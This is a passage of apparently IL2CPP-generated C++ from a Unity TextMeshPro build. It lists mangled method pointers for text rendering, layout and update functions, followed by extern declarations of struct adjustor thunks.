TMP_Text_LoadFontAsset_m3E175C3A91E04695300603D04F10E6432C1D870C,
TMP_Text_SetSharedMaterial_m2BC9A6E29786D4221CA8086F199B54691DAF0569,
TMP_Text_GetMaterial_mF58308E4AA9C3F7448FF976710B9206C066C5406,
TMP_Text_SetFontBaseMaterial_m6E38354D0E49FAE5EBD408A22F92236C1D68E33F,
TMP_Text_GetSharedMaterials_m5C748AC07C4282734F6D4C553769BFE3B63F21B5,
TMP_Text_SetSharedMaterials_m3D152FA115539A0362D44135EE48BCAAFB56F2D6,
TMP_Text_GetMaterials_mA3F8E1546BE9C5D84DC349A8B1739DB1D16F0679,
TMP_Text_CreateMaterialInstance_m201B4389FB351E5316ACA573F4593EA5F44D1D0A,
TMP_Text_SetVertexColorGradient_m35E9AB171BCC614A2989143F329C96BD3E914151,
TMP_Text_SetTextSortingOrder_m5E42564CFECE090388DE121858E94CC8903F4402,
TMP_Text_SetTextSortingOrder_m17CA540342EAA44144E32829D672161E6C6F425B,
TMP_Text_SetFaceColor_m865370BB950DE1BE4111341536AE062C046E5FDC,
TMP_Text_SetOutlineColor_m22F952AFBAE8CE4564B02F573BEB9FDC30705555,
TMP_Text_SetOutlineThickness_m2CBC33AAA504B07B48DFE771986230C772FE605C,
TMP_Text_SetShaderDepth_mB508746026A248495C693EC1039E3A562D8A704E,
TMP_Text_SetCulling_mEC62FDEFC0E222313165637A26D700C29DAE389D,
TMP_Text_UpdateCulling_mFB9FD3AF46C9222182056C808198BEDB8810C82F,
TMP_Text_GetPaddingForMaterial_m381ACEBE9696389001F7853D821FECC4E83A2111,
TMP_Text_GetPaddingForMaterial_m5FB68F03D16813FCFC20F70ACC50DBAFEB420196,
TMP_Text_GetTextContainerLocalCorners_m588C57396E94A4BD6B1311542E985E6587665845,
TMP_Text_ForceMeshUpdate_mFEB0D607572734B168FCD4954BB2F32F9CE0AE7E,
TMP_Text_UpdateGeometry_m2FA2F775454629B5ED0CF4B8E089D48B8B1A31DA,
TMP_Text_UpdateVertexData_m2E77B6DA477425BFDA2661C6BD71E65E42CA3A98,
TMP_Text_UpdateVertexData_m79089A6FF3818129609C9ACF34D79232FA4C5493,
TMP_Text_SetVertices_mB1F51FB2B5247428AB1A302488BAFDCED686C0C1,
TMP_Text_UpdateMeshPadding_m1B9F1E66E3B3E3C305567E412328865A083CD430,
TMP_Text_CrossFadeColor_mAB054E0720A156FC584B2D71878F6C24160FC07C,
TMP_Text_CrossFadeAlpha_mF4C9347458127DBC88C015AF4872486B7AB2E86E,
TMP_Text_InternalCrossFadeColor_m217E640043CBDE6D81B948B138D5C9AB9B33CF71,
TMP_Text_InternalCrossFadeAlpha_m2E502349E3F0991FFA5D6D19FC6E14E3E9F89B53,
TMP_Text_ParseInputText_m3B4CF13CC0BF8E8A2B3980BD191A3B2FA421E36C,
TMP_Text_PopulateTextBackingArray_mFD376BD29DBC5157116653E031FA2BB8AD85CB8B,
TMP_Text_PopulateTextBackingArray_mDAFAFBA1D6EF883BBA870BEC34F4AFC52A8D4799,
TMP_Text_PopulateTextBackingArray_m2DD1214AFFFF0214596222BCC5B759D0F8D48557,
TMP_Text_PopulateTextBackingArray_mF50056377989BB902E9ECB7B8607BD5CAE2B9EC8,
TMP_Text_PopulateTextProcessingArray_m2D1F8D3CAE8F1F29242547BCCC91D1226FA9A6F0,
TMP_Text_SetTextInternal_mE5AAC38C055046B9EE3228640DAFA627C5BDF924,
TMP_Text_SetText_m848189C290727009A95A00E432B66DFB2F2C3454,
TMP_Text_SetText_mC6973FFC60DB6A96B0C4253CD2FD9D0789ECC533,
TMP_Text_SetText_m033947AEEEBDA12707E4B0535B4CCD7EB28B5F31,
TMP_Text_SetText_m91C93245F1F0BD149D7E81A870B1E156EBB50DD7,
TMP_Text_SetText_mA55E85AB5C2C2ECC55F91825828DD3CCF2173E80,
TMP_Text_SetText_m8F8C230992A14AC54379698221FA40B5AD0250E3,
TMP_Text_SetText_m888964CBEFDBE9D7788D25D8EA11D832B52CC739,
TMP_Text_SetText_m8AF09C554904D1C1B0004879BA3A9F1C585CB41B,
TMP_Text_SetText_m5093EBC3B7161E3775B6A6EA2F3E7C4FAA55814B,
TMP_Text_SetText_m229965F9267D1A1D825FF32828DDC9528A40F015,
TMP_Text_SetText_mEFBC8BA593BB9B7A6F58BE8A1EF74F83E7B4CFF1,
TMP_Text_SetText_m060E57CFB07010482FBDD53A653F0A61A4CDDE74,
TMP_Text_SetText_mCF423F9A56990664E9711E71AEFB464987179AFF,
TMP_Text_SetCharArray_mCCBCFF7608CA622F9A7E15E027662DB8561583B5,
TMP_Text_SetCharArray_mA6EC91F806E7B7B4BAF34317531083DEC6AAFD70,
TMP_Text_GetStyle_m556317F676C8A404F2BEEB1EA28AA188229D5886,
TMP_Text_ReplaceOpeningStyleTag_m140CE17F312BBDE9A6F429F6976A6EAF22FBF7F7,
TMP_Text_ReplaceOpeningStyleTag_mFE4861A4A73DA7879121B8CFCEB051320E7C2B3A,
TMP_Text_ReplaceClosingStyleTag_m8F0A4C880ED8811B94472B9A122FEE3DF1CEA06C,
TMP_Text_ReplaceClosingStyleTag_m930CFBC820CF701CCF4A92E8CC798640FD9E0009,
TMP_Text_InsertOpeningStyleTag_m7194E079B8619F42CF27B3AB2A9B0A9FE2AB14BC,
TMP_Text_InsertClosingStyleTag_m6AA7BC638D9F53B831DB2702256CFBFC25EA19AA,
TMP_Text_GetMarkupTagHashCode_mB8A6C6A1ED3D704ADBEA0E90FCEF722AB826CD7A,
TMP_Text_GetMarkupTagHashCode_mF2C6D3C0D954B1B17F584758FFACAAFA270B37BA,
TMP_Text_GetStyleHashCode_m834CA7ED28BF6377F7A42C654FAA748EB0D514D6,
TMP_Text_GetStyleHashCode_mB54D3FEFFCA8A40441A169AD140C1531A788C92F,
NULL,
NULL,
TMP_Text_AddFloatToInternalTextBackingArray_m91003C38D80CE33F40B45FB30E6B90F2EC2B78AB,
TMP_Text_AddIntegerToInternalTextBackingArray_m0C9B986C866F3CD9D1424E44F57B281EDAB7DE92,
TMP_Text_InternalTextBackingArrayToString_m7E70067C4FF555AFF7D95718141ADA0794EF37B5,
TMP_Text_SetArraySizes_mAD14AE87D71586E0D4BEAFC6C89347FE02E33FE2,
TMP_Text_GetPreferredValues_mE55DE48997CA56E867C94ABF8873D1CA413ADAA8,
TMP_Text_GetPreferredValues_m1F06F3D203FD8F13D0335F697E839E5DAA61DD14,
TMP_Text_GetPreferredValues_m398215E34C2F85F6073BB4FFAD99E077319B2726,
TMP_Text_GetPreferredValues_m3FAA12BB95111827B71EBDE6B3B3F59EE4EA0C2C,
TMP_Text_GetPreferredWidth_m0478A5C6B1B1C3A4A64C5BF89401B2A33A192F5C,
TMP_Text_GetPreferredWidth_m51F52DCBCDF0AA45D5F6F1031D15560948E08C16,
TMP_Text_GetPreferredHeight_mD8B87C32069B477E010E30D33CB616854CE708B4,
TMP_Text_GetPreferredHeight_m6DD3E52AA402B1D6DC3D18F8760E0B89436F97CF,
TMP_Text_GetRenderedValues_m758F7ECA29F67E1E7E782336B2CAD7B04EEB9222,
TMP_Text_GetRenderedValues_m08075C102D6F4332871ECF6D818664B6170B1374,
TMP_Text_GetRenderedWidth_mCCCE790E25FD4C17B55DBE153663D8024B458EDF,
TMP_Text_GetRenderedWidth_m73C7A4A74971381580735209DD14A2CCCC9E3281,
TMP_Text_GetRenderedHeight_m7BEF1FB09209779C3D70185491FBC6E90A71214C,
TMP_Text_GetRenderedHeight_m64D7F5014A10FFF692DED07E7619674F30D3B099,
TMP_Text_CalculatePreferredValues_mFC2117C2481613AF4CD0FE52E9C7162D4EB31C2A,
TMP_Text_GetCompoundBounds_mF60F723948DF048E702AAB62F9408FAD30A1DBF2,
TMP_Text_GetCanvasSpaceClippingRect_m7C7869D4D77FBFFD707A3846A29792EB48B5D64F,
TMP_Text_GetTextBounds_m9B8ADDB3EE48C956CF9D61DA303B21D5EA32081A,
TMP_Text_GetTextBounds_m26FEA0CD67904DA57ABE718926102EEFCD374BF1,
TMP_Text_AdjustLineOffset_m52F6B152C307D094A146CA506C23704DD425218D,
TMP_Text_ResizeLineExtents_mD9792BED7C93557CF2A93C604497729729CCBC66,
TMP_Text_GetTextInfo_m229923ABD01B6275D27C7BE608D316A1C4F623E7,
TMP_Text_ComputeMarginSize_mB8DA02298390E7D183460D39B765158D5B4C4C0B,
TMP_Text_InsertNewLine_m2FB79A0D3C653AF608C8C6C9B56BC78AD696CE85,
TMP_Text_SaveWordWrappingState_m89FFAEE3796170C90F8EDBA696E4A14884A56650,
TMP_Text_RestoreWordWrappingState_mB126C83C447A92E11F6AC19C2BBBD923C74D8FCA,
TMP_Text_SaveGlyphVertexInfo_mFFB0B3A7B1DBA2EE3F4116DB0AD2D7BA2A7BADBE,
TMP_Text_SaveSpriteVertexInfo_mB11F4EA9C81BF4C58707941D616151EE6CD2BAC3,
TMP_Text_FillCharacterVertexBuffers_m4C17C2D2386E31401B012982171D0AB7E239B4EE,
TMP_Text_FillCharacterVertexBuffers_mA8074BF6121C6716C641EB322E501BCFCE3CFB25,
TMP_Text_FillSpriteVertexBuffers_m7B3035DA24821F84AE49946ABEF06D0A2A87143B,
TMP_Text_DrawUnderlineMesh_m9A89FEC9730C4C234A06A090CEDD2338C351E3F3,
TMP_Text_DrawTextHighlight_m328E45B989DA4EC8754CC437EACC79D8D0A7F327,
TMP_Text_LoadDefaultSettings_m529A22FF5A03DA761B775E3EABAF5EC6D122404A,
TMP_Text_GetSpecialCharacters_mE903DAAA333AFF79BE23404C0E530BF2F974F86E,
TMP_Text_GetEllipsisSpecialCharacter_mAB1E3B988E1169235AEC26DC0EC29B993FDF4735,
TMP_Text_GetUnderlineSpecialCharacter_m52EA407A41AABE20FE8888C6E94BB70EF0E82CE1,
TMP_Text_ReplaceTagWithCharacter_m27550FAAA0F89BCBF7E6ABF7E52888B04C92AFBF,
TMP_Text_GetFontAssetForWeight_m8CAC4978C3092AE62D5354BE0D579E1985F84323,
TMP_Text_GetTextElement_mA9AC208C5F6080ADB94B84638ABFCB28124E889C,
TMP_Text_SetActiveSubMeshes_mE3867037AB040A083339828CEA98FFC7D81758FE,
TMP_Text_DestroySubMeshObjects_m7FFA3E35D4B393CC01847424F2F5C77416C1F8B3,
TMP_Text_ClearMesh_m3A40E9A07ABE32A911001625A4DE8F80353ECF8F,
TMP_Text_ClearMesh_m5E212AB7BAA3D3F6A84AF20D0D4C1AE72985F329,
TMP_Text_GetParsedText_m0C3CD267431DA477842729B36C6C80D7296D4C65,
TMP_Text_IsSelfOrLinkedAncestor_m81351987CC1F547B1E7A0EDE1109F5EF596A8F76,
TMP_Text_ReleaseLinkedTextComponent_mBFBB0BB0702503E5492FE5CDC94164363A139696,
TMP_Text_PackUV_m6B919A58FF6988F660ACE59AA97910B31D577905,
TMP_Text_PackUV_m66B8E7066DC310AC67BA1FE63494D1A3BA726A00,
TMP_Text_InternalUpdate_mD5C4F3ADB7909023ADCED1033A6EE0D15AAC1781,
TMP_Text_HexToInt_m608FA8E451B2D296D60F096CB890714F72C5596B,
TMP_Text_GetUTF16_m6A920DAFDD9869F0847B5C3F5B646EBFF4364B38,
TMP_Text_GetUTF16_m5DCD9865CEC393DE526550744D2F17448FFFB031,
TMP_Text_GetUTF16_m75142BDA9CD0E09E00079D51807092CDA41AB293,
TMP_Text_GetUTF16_m1A6DF3361330C4A1930A8CED3EE9AB1A661FBB69,
TMP_Text_GetUTF16_m6B311F8F9A6775761D65E56B3A14D4300694018C,
TMP_Text_GetUTF32_m0AEBD15BD012872CA6305D7BA0C481FDA82AAC25,
TMP_Text_GetUTF32_m5417B3BA725A8B5C3EAD1AB1C8704DCAA7D8112E,
TMP_Text_GetUTF32_m36AC6F004482AD41D7A6E02C3661FB84CA49C939,
TMP_Text_GetUTF32_mC701D13B98BB4F3EDA7BA77D2FEC84B957DF055D,
TMP_Text_GetUTF32_m8969A7CF25219B3D95051380B0BF81E36515FA8B,
TMP_Text_HexCharsToColor_mFF3D804C9D8FA7A297DE7D2FDD8ACAF56F3AE41F,
TMP_Text_HexCharsToColor_mAB24870B76767E96CBCE96AF48D78744FBAEA2E7,
TMP_Text_GetAttributeParameters_mA3AE2EA072B750B11D4FA5FB08F3026062B3CB5E,
TMP_Text_ConvertToFloat_m8C77647DEB5B96F427BA09AFC56A902F3C812D09,
TMP_Text_ConvertToFloat_m3A00B254D2DEC8796A64339BF2370E2FF0A76869,
TMP_Text_ValidateHtmlTag_mCA56FCCE3DC46EF51927B96CD7F91B1097A0EEBA,
TMP_Text__ctor_m9E1AC8762428FEF98646584351299FFF499B823C,
TMP_Text__cctor_mE05E857702711C994EC0FC19B6502375F349B1FC,
CharacterSubstitution__ctor_m5727A2342B980E68CA8CA895437F82280B5E4378,
SpecialCharacter__ctor_m6EA478027143EA28D3A52D1E020B95B9286824FF,
TextBackingContainer_get_Capacity_m314198D61452DF6CAB895C2BF8D1C0829C579F9C,
TextBackingContainer_get_Count_mA4E440D40E9EECB361CE4697B11F9B017B19E0C1,
TextBackingContainer_set_Count_m3833989ADDB6C436DFB7A8979080FF5F2A411F19,
TextBackingContainer_get_Item_mA0E8BB3275942C3B08087D7E27914F436370C276,
TextBackingContainer_set_Item_mF263D268B2D3185D818FD470F86FC8C53DD42381,
TextBackingContainer__ctor_m28ABE283E7734CCAFCB78E5C71E817D495C1699D,
TextBackingContainer_Resize_m669CEE085664D77F581761A5888EEF20E095F752,
U3CU3Ec__cctor_mC12E6E74C14B48C2E6A7BCDFD060663C8418A0C6,
U3CU3Ec__ctor_mB6F7B455BB3E880F27BB5E26F8D49389333F84E1,
U3CU3Ec_U3C_ctorU3Eb__622_0_m4ADE4CF5BF5DB0476C27555136DB926EB976EEFE,
TMP_TextElement_get_elementType_m932830311118A83F12EA542C3B7C03C7B1437EB3,
TMP_TextElement_get_unicode_mF963B03CCA673335FB682EBDD1CFF86F0DB8539F,
TMP_TextElement_set_unicode_m5DDC85416E46FEB989F4924ED4E1C8BABDE09AA0,
TMP_TextElement_get_textAsset_m3FFA01E6D0068D1F8F578CBF2590A752683A61EA,
TMP_TextElement_set_textAsset_m046A7EF50875FC30233B8CB06D4A5138FB63C4E1,
TMP_TextElement_get_glyph_mB86D5107DDF4ADB051309056E876FEAE843E3D07,
TMP_TextElement_set_glyph_m29945C7CDA0F0F2429D3000A9376B4B5177A23BD,
TMP_TextElement_get_glyphIndex_m149D0BB0350CFC7D3C46CA011669295DC8CF8E9E,
TMP_TextElement_set_glyphIndex_mD2D21A9AD7EF332ABE56C52031E03CB5570C2FD3,
TMP_TextElement_get_scale_m23102716AD6E67BB03C2893983B105E8B425FE14,
TMP_TextElement_set_scale_mB753D739067A2DF395673D5C6B01E30B74B35362,
TMP_TextElement__ctor_m17ECA25C496E92124412C4B48665D75EE848AF83,
TMP_TextElement_Legacy__ctor_m662C0DC5276E1A91D27923DA266C23D825949787,
TMP_TextInfo__ctor_m3676CC349997AD7A21E043DB9938502FAAB87578,
TMP_TextInfo__ctor_m8E0E818004F0B2A107DC7CB7DA5753DC67496263,
TMP_TextInfo__ctor_m3F285FBF2EA3C9CF7B75EA3C1AB8CB66D37B4B4C,
TMP_TextInfo_Clear_m288FFE54C6744C369E9B2BA903A634F461721D70,
TMP_TextInfo_ClearAllData_m8DCD1E84BDCA57F35235847D1DC8F3758BF265AB,
TMP_TextInfo_ClearMeshInfo_m0FBBA8965BED7D2907087B746F87B28A1956962A,
TMP_TextInfo_ClearAllMeshInfo_mC1F838D304E7F57366F2BB6D671D9E855D48AFFE,
TMP_TextInfo_ResetVertexLayout_mDD6C8111384A819DDD015F66567A69C97C4F74E2,
TMP_TextInfo_ClearUnusedVertices_m46C02F1D4EB0183A973859CEDE6EE284B1F9EB56,
TMP_TextInfo_ClearLineInfo_m055901C815B31D3996CA828A79D73DAE576A1037,
TMP_TextInfo_ClearPageInfo_mD479D3067FC68407924FF28A468D68EA8B0680AE,
TMP_TextInfo_CopyMeshInfoVertexData_mF66E2F8821470E68D95FEB53D456CFA86241C0CA,
NULL,
NULL,
TMP_TextInfo__cctor_mEC0D0CFF44960B91E5E996E344D11861639457A1,
TMP_TextParsingUtilities__cctor_m19016718A096B260A0CC2D302C37048A9FB27361,
TMP_TextParsingUtilities_get_instance_m0BBC370397E14A5490AB3870B853CB2D26FAEC25,
TMP_TextParsingUtilities_GetHashCode_m5060FDD2B3042827F687D651A28E1C3E9A34412E,
TMP_TextParsingUtilities_GetHashCodeCaseSensitive_mB29C84D5B884D03B7CC8A7D3ACD43E050F784AD6,
TMP_TextParsingUtilities_ToLowerASCIIFast_m6341E217D892ABCEC08889D7B0D1C9057B8C8F60,
TMP_TextParsingUtilities_ToUpperASCIIFast_m268B0B889DF9D45852F99FEFB930CB1BF4AC8212,
TMP_TextParsingUtilities_ToUpperASCIIFast_mDFA4F1840552BDF8A52917FF82E8D5BB8159C636,
TMP_TextParsingUtilities_ToLowerASCIIFast_m2792EC704B58BD81CDFE547BA878DD2DE5D291DD,
TMP_TextParsingUtilities_IsHighSurrogate_m2797EC5C5236904C63288BA76BE60B11EC62566A,
TMP_TextParsingUtilities_IsLowSurrogate_m0D3D07F934772EAAE1313017A5EF03CA4A18B49E,
TMP_TextParsingUtilities_ConvertToUTF32_mF8A4836C0621685457F2D08104767B59490DDE9C,
TMP_TextParsingUtilities__ctor_m5B95C165745456957248A8D1EDFAD9B495F47323,
TMP_FontStyleStack_Clear_m49B787473D053AE4AB61D0A89BE3022B6D39B15D,
TMP_FontStyleStack_Add_m86B65684B67DF2CA334037A30E9876C0F02D454A,
TMP_FontStyleStack_Remove_mF44A8D00AA01FCBED6B6FD0A43A8D77990D2A26E,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
CaretInfo__ctor_m32D2780AAB3322C5EB68677CE3A73BF6B43E51B8,
TMP_TextUtilities_GetCursorIndexFromPosition_mFF4E2381D6D0FBEC84611CFD1648ED11B18D6AAB,
TMP_TextUtilities_GetCursorIndexFromPosition_m78C616E04242EB0716FF3DD0B955C9542D388E23,
TMP_TextUtilities_FindNearestLine_m01AB87B742CB31C401DF18A825D2A432A08D5406,
TMP_TextUtilities_FindNearestCharacterOnLine_m0D48859A5F5601586E8B179B6BEA825731D02D79,
TMP_TextUtilities_IsIntersectingRectTransform_mD130C941AB32BCEA5B2B293E979A7AC7F1160FFF,
TMP_TextUtilities_FindIntersectingCharacter_m6C03B17BB15028215958B0DAB969BB5199990DF2,
TMP_TextUtilities_FindNearestCharacter_m1732D15AB75A7DC6978D853AAE0C7EE89E1A124C,
TMP_TextUtilities_FindIntersectingWord_m1442DFD5AAE1FF0EE5054262A34E4D31B1E56879,
TMP_TextUtilities_FindNearestWord_mFA2F92F39BCB9EE81D04DC4252F57D90DBEA82AC,
TMP_TextUtilities_FindIntersectingLine_mFC1F20154DEE3E4308C04EAF963F0BD897C12459,
TMP_TextUtilities_FindIntersectingLink_m2B5823274A30BBB3A54592E8DB44F119140C3778,
TMP_TextUtilities_FindNearestLink_mF012E9C23A4DF6E9808B046B65294842598350CD,
TMP_TextUtilities_PointIntersectRectangle_m99D55FD0AE0E4D2C6367410FBB38C901EDEFC1BD,
TMP_TextUtilities_ScreenPointToWorldPointInRectangle_mE96524505F7BBF52B441A3736C8D4268F66647DA,
TMP_TextUtilities_IntersectLinePlane_mC4D66405E4A02DCA43AF638B408BB4B5D2C92EA5,
TMP_TextUtilities_DistanceToLine_m8CAE1016C1485B0AA8E9390295B7040A7F6506AD,
TMP_TextUtilities_ToLowerFast_m3125BB59BCA6321C1D0AC527CAA6645D618BD083,
TMP_TextUtilities_ToUpperFast_m3F874B1E74717ABED16DBBEBEA9CA232CDBE8C61,
TMP_TextUtilities_ToUpperASCIIFast_m41E8D59A85575BDCC4B6AA31684B5BA6B45744F5,
TMP_TextUtilities_GetHashCode_mFEBD9E9CBA645F2AAFC1B47497C3191A14142F2A,
TMP_TextUtilities_GetSimpleHashCode_m15FA466AEECE8EDBDF9E75B0DD9B62E5C45789FE,
TMP_TextUtilities_GetSimpleHashCodeLowercase_mF300535170B8A1E8185BAF721A6CBE2A09C8AC51,
TMP_TextUtilities_HexToInt_m2534F048B7379A4F4A844DDF0A03069E5DB5C0EF,
TMP_TextUtilities_StringHexToInt_m729CA0E20B56F6489BFB56BB2DDDA075FCA3263F,
TMP_TextUtilities__cctor_m7B6742AD1F11D527752B6B792547FEECE68B0836,
LineSegment__ctor_mD12FAF67166FBF4154B4C71793A87AC3EB9EEF0B,
TMP_UpdateManager_get_instance_mCF3C00751187DE6C86869DF67D17E57A3DDE1231,
TMP_UpdateManager__ctor_m69A0A84DD4CD9C719AC6241795E327E198F3B8D5,
TMP_UpdateManager_RegisterTextObjectForUpdate_m96010C58BC0AC9726F801BEC57206E6B53B8CA4B,
TMP_UpdateManager_InternalRegisterTextObjectForUpdate_m3BE2C4BF2F7380096474A113CEA612A72B5E5BF7,
TMP_UpdateManager_RegisterTextElementForLayoutRebuild_m712C9A3AFEACB213AF26F9CB91F069BBD406F741,
TMP_UpdateManager_InternalRegisterTextElementForLayoutRebuild_m99DD6449E8F765D5F10D2C272EB26673D29BAE97,
TMP_UpdateManager_RegisterTextElementForGraphicRebuild_m1B2802D514154F4251574B5405A7F14917E8F002,
TMP_UpdateManager_InternalRegisterTextElementForGraphicRebuild_m2BB7D188B607FAE033CCE3B65F6D5DBF13562524,
TMP_UpdateManager_RegisterTextElementForCullingUpdate_m0CD6135C856DBF7C1F870D8EB507DC41C03B1C03,
TMP_UpdateManager_InternalRegisterTextElementForCullingUpdate_m41E41B6A7F27C62897A7369DA43163AEADCC908F,
TMP_UpdateManager_OnCameraPreCull_m265431745A965ECAA26603D4B5519043E7D99D98,
TMP_UpdateManager_DoRebuilds_m14F711CC2FA9DA7B2B8964059CB6CA4B776F6BE8,
TMP_UpdateManager_UnRegisterTextObjectForUpdate_mE07A0476432ECC8ADFB37590B93EFD26EFD69651,
TMP_UpdateManager_UnRegisterTextElementForRebuild_m6E87BDE6CCBA41819C9BD443666AC75BF9792695,
TMP_UpdateManager_InternalUnRegisterTextElementForGraphicRebuild_m9E12886C94B95F5EF2F4DE0F32C8CD9C4A597198,
TMP_UpdateManager_InternalUnRegisterTextElementForLayoutRebuild_mA216D19431D7C825E187253D6D68B5EDB3B8FCEF,
TMP_UpdateManager_InternalUnRegisterTextObjectForUpdate_m2856DE05E46E68058986301E3DBEE17C8153B2E8,
TMP_UpdateManager__cctor_m30A0FCF6BCE848A2751B5B615E30DDE4C2E35141,
TMP_UpdateRegistry_get_instance_m8A9ACD1BD2704BC8368543FD13277099329F9DE2,
TMP_UpdateRegistry__ctor_mAD466DAAF6A8867F7D24D9B00AD6D5E113D2649E,
TMP_UpdateRegistry_RegisterCanvasElementForLayoutRebuild_m330EADE7C2B4441FB5FE39F66CF2511F8B787188,
TMP_UpdateRegistry_InternalRegisterCanvasElementForLayoutRebuild_mD0B965C049EBEB2E71B2BC8D2C7F16ECD47F0E53,
TMP_UpdateRegistry_RegisterCanvasElementForGraphicRebuild_mB853298FFE0CAB3653A7BBCE5C6D38B6980A6B34,
TMP_UpdateRegistry_InternalRegisterCanvasElementForGraphicRebuild_m3D71D7AB720191114A3CAD60899ED945D8614F3A,
TMP_UpdateRegistry_PerformUpdateForCanvasRendererObjects_m0C118FBD3B2ADDD2FE9E40136F45D38D5C8975B9,
TMP_UpdateRegistry_PerformUpdateForMeshRendererObjects_mA5D3656421524B3258494141D9A73D3A5EA49D4E,
TMP_UpdateRegistry_UnRegisterCanvasElementForRebuild_m007C072AA059AA7E34598484B0659F603B389E98,
TMP_UpdateRegistry_InternalUnRegisterCanvasElementForLayoutRebuild_mA9A8EC29FC4587BAB47D3A48725299C9F3251BEC,
TMP_UpdateRegistry_InternalUnRegisterCanvasElementForGraphicRebuild_mA2012BE5D69C00E5865F9C4428F9D85A39B4331A,
TexturePacker_JsonArray__ctor_mA7347C642D7784A142849ED55983E779C997D853,
SpriteFrame_ToString_m74A323FCED2C3503F98BEB090A2EF8FE20B53E0C,
SpriteSize_ToString_mED85E2303923FBF7A05A012E064705856A4CC2DB,
SpriteDataObject__ctor_m89C520B855B17B46E4B43024C4941688A276CBE1,
};
extern void MaterialReference__ctor_m022ED9858AAD1DCEC25CBC4C304797F4539D87E7_AdjustorThunk (void);
extern void VertexGradient__ctor_m9B59D99E8B67833BD6CC50F4704614744D271C3A_AdjustorThunk (void);
extern void VertexGradient__ctor_m8FFAAFD98D0DC4F7C6D41410EF574A6600DCA40B_AdjustorThunk (void);
extern void TMP_LinkInfo_SetLinkID_m9E9A1B09A536609EC636A3F6D14498F70C6C487A_AdjustorThunk (void);
extern void TMP_LinkInfo_GetLinkText_m954EE8FF39D62BA8113773A696095EAE85CD5E3F_AdjustorThunk (void);
extern void TMP_LinkInfo_GetLinkID_mCC9D9E783D606660A4D15E0E746E1E27AD9C2425_AdjustorThunk (void);
extern void TMP_WordInfo_GetWord_m7F72AB87E8AB0FA75616FD5409A8F5C031294D2C_AdjustorThunk (void);
extern void Extents__ctor_m2C44BA0B2EDAAB80829698A019D2BBF8DDFF630B_AdjustorThunk (void);
extern void Extents_ToString_m947E31139C9C66B1F1942EF74B2FDE347A778F99_AdjustorThunk (void);
extern void Mesh_Extents__ctor_m37E0BBEE5EED57082B82AC6162F7785B231907CB_AdjustorThunk (void);
extern void Mesh_Extents_ToString_m733F0275FC20FD2F4EE5B6E9ABBD6F3CD8D5AE23_AdjustorThunk (void);
extern void TMP_Offset_get_left_mCDC93F42B720817E1119AA5360962F038A39E044_AdjustorThunk (void);
extern void TMP_Offset_set_left_m6FF3BCE823654D55CC03B9202094E129A3891958_AdjustorThunk (void);
extern void TMP_Offset_get_right_m268492C5D14D1239A429A152ED04DD8790EC98C4_AdjustorThunk (void);
extern void TMP_Offset_set_right_m19952C4778E73F559E8229B5D1438766E4FF62F2_AdjustorThunk (void);
extern void TMP_Offset_get_top_m5BAE1A688A264A63524AD4C456CE88CB2086105E_AdjustorThunk (void);
extern void TMP_Offset_set_top_m5346213516D5B378349B70D61C4EE6BB25603DCC_AdjustorThunk (void);
extern void TMP_Offset_get_bottom_m71E985879E87F76BE28A0FB0485F279866279845_AdjustorThunk (void);
extern void TMP_Offset_set_bottom_m4FF1AE55CF113FD06678B22A8ED029F17A9019A8_AdjustorThunk (void);
extern void TMP_Offset_get_horizontal_m3BE3663354670CEA3945FD6EC7C6FD1A3F4E81F7_AdjustorThunk (void);
extern void TMP_Offset_set_horizontal_m38C3B111DD01790C98E91423FCEF6BE826826891_AdjustorThunk (void);
extern void TMP_Offset_get_vertical_mB6681568C4F9B09DCE4CBFFDC33F733DE7EFE149_AdjustorThunk (void);
extern void TMP_Offset_set_vertical_m16CC389B6E1291EA006498F0E739A05A5CD16ABE_AdjustorThunk (void);
extern void TMP_Offset__ctor_mE88A176987DB6F468CA09553D74E86E1B48AA81C_AdjustorThunk (void);
extern void TMP_Offset__ctor_m5C1836C5751505F6A9E674C8CD7A6419F4BFDCA0_AdjustorThunk (void);
extern void TMP_Offset_GetHashCode_mD43DEA54E08FF70C12AAB7FD40AC4310B81C1421_AdjustorThunk (void);
extern void TMP_Offset_Equals_m7D8B386EF75BA3B1F931F1F70AAB10FEFA6B17F4_AdjustorThunk (void);
extern void TMP_Offset_Equals_m1670D25215AB3B155D89F019D27286D294A9ECF0_AdjustorThunk (void);
extern void HighlightState__ctor_m25791146FF94DD76C2FAAAF47C1735C01D9F47B2_AdjustorThunk (void);
extern void HighlightState_GetHashCode_m2BE4FEEDFCB6713FA9C10C2D3B93E938E011C985_AdjustorThunk (void);
extern void HighlightState_Equals_m0317881F19561A64B9016A27C306FDB77460D165_AdjustorThunk (void);
extern void HighlightState_Equals_mFC0B5D3A36F1CB24FFDC21F6C238184D43324825_AdjustorThunk (void);
extern void ColorTween_get_startColor_mC3CD44E2CCEF5BB78ED52759D570B1B6855CBBCC_AdjustorThunk (void);
extern void ColorTween_set_startColor_m01FB2C14DD0139433F9EBCF39A286AE064B8A2FB_AdjustorThunk (void);
extern void ColorTween_get_targetColor_m26BAA4AAA09E6FD3E79F35C51170C32889919446_AdjustorThunk (void);
extern void ColorTween_set_targetColor_m24EB21B05BDCC21A4178DEB116962BE18B361B27_AdjustorThunk (void);
extern void ColorTween_get_tweenMode_m9194D120345334B358FA8487E98C75FDD8F8355B_AdjustorThunk (void);
extern void ColorTween_set_tweenMode_mB2A52A753B322F14EEF3A1C17B0CC51EB5210035_AdjustorThunk (void);
extern void ColorTween_get_duration_m2C26D45A626E334E9EECD575CCA45B55945736D3_AdjustorThunk (void);
extern void ColorTween_set_duration_m0C781971A9EE23189EA02A2835731918680957F0_AdjustorThunk (void);
extern void ColorTween_get_ignoreTimeScale_m008715D2A64C9FC6419C9D71A7030F8710ABA6AE_AdjustorThunk (void);
extern void ColorTween_set_ignoreTimeScale_mDC7F5B7E7EDF149304E8139C64712462DAB8D40D_AdjustorThunk (void);
extern void ColorTween_TweenValue_m43ED566CB5FA4818535832C2ECFFCFEAAE7FFE8E_AdjustorThunk (void);
extern void ColorTween_AddOnChangedCallback_mF9FE28A71E2818B2C25D79B9272E838034B5A4E4_AdjustorThunk (void);
extern void ColorTween_GetIgnoreTimescale_m502CC5CF9B974F7F564316687E61A16E8CF038F7_AdjustorThunk (void);
extern void ColorTween_GetDuration_mC929D8E88C9C230CE6A0EAE684B84CA08CFAA615_AdjustorThunk (void);
extern void ColorTween_ValidTarget_mFA6997930396ACBF53FCDFBDC457FC3C63AE90D7_AdjustorThunk (void);
